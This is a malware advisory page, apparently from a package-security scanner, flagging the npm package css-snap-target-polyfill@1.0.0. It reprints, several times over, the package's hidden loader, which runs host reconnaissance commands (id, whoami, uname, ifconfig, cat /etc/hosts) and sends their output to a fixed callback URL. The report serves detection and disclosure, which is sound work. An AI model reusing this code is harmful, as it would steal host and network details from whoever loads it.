Loading npm security reports…

css-snap-target-polyfill@1.0.0: Malicious npm security report | LPM Firewall

registry / css-snap-target-polyfill / 1.0.0

css-snap-target-polyfill@1.0.0

Polyfill for CSS scroll-snap-target pseudo-class

AI Security Review

scanned 5d ago · by lpm-firewall-ai

The published registry module executes host reconnaissance commands and transmits their results when loaded. Its manifest directs registry consumers to that module.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js directly or through a consumer of registry-manifest.min.json.

Impact

Disclosure of hostname, user identity, operating-system details, network configuration, and /etc/hosts contents.

Mechanism

An immediately invoked function uses child_process.execSync to collect host information and fetch to send it to a fixed HTTP callback.

Attack narrative

The default entrypoint is empty, but the package ships a registry module and a manifest directing several registry names to it. Loading that module immediately collects host information through shell commands and sends the results to an unrelated HTTP callback. Exceptions are swallowed, and matching require-cache entries are removed. This is concrete conditional data exfiltration unrelated to a CSS polyfill.

AI rationale

Inspected source establishes automatic host-data collection and transmission upon registry-module loading. The empty default entrypoint limits activation but does not neutralize the executable exfiltration payload.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints1

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

High

Ai Review Evidence

The module deletes matching registry entries from the require cache.

thunderboltRegistry.jsView on unpkg · L1

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

High

Ai Review Evidence

The module sends the hostname and collected output to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes shell commands and forwards their output without a consent gate.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The module reads /etc/hosts and transmits up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = css-field-sizing-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-field-sizing-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps several registry modules to the executable payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js"

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try { v

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes shell commands and forwards their output without a consent gate.

thunderboltRegistry.jsView on unpkg · L25

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }

High

Ai Review Evidence

The module sends the hostname and collected output to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no

High

Ai Review Evidence

The module reads /etc/hosts and transmits up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

1(function(){ try { var keys = Object.keys(require.cache); for (var i = 0; i < keys.length; i++) { if (keys[i].indexOf("thunderboltRegistry") !== -1) { delete require.cache[keys[i]]; } } }

High

Ai Review Evidence

The module deletes matching registry entries from the require cache.

thunderboltRegistry.jsView on unpkg · L1

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js", "sit

High

Ai Review Evidence

registry-manifest.min.json maps several registry modules to the executable payload.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

High

Ai Review Evidence

The module deletes matching registry entries from the require cache.

thunderboltRegistry.jsView on unpkg · L1

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

High

Ai Review Evidence

The module sends the hostname and collected output to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes shell commands and forwards their output without a consent gate.

thunderboltRegistry.jsView on unpkg · L25

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The module reads /etc/hosts and transmits up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps several registry modules to the executable payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-snap-target-polyfill@1.0.0/thunderboltRegistry.js"

css-snap-target-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code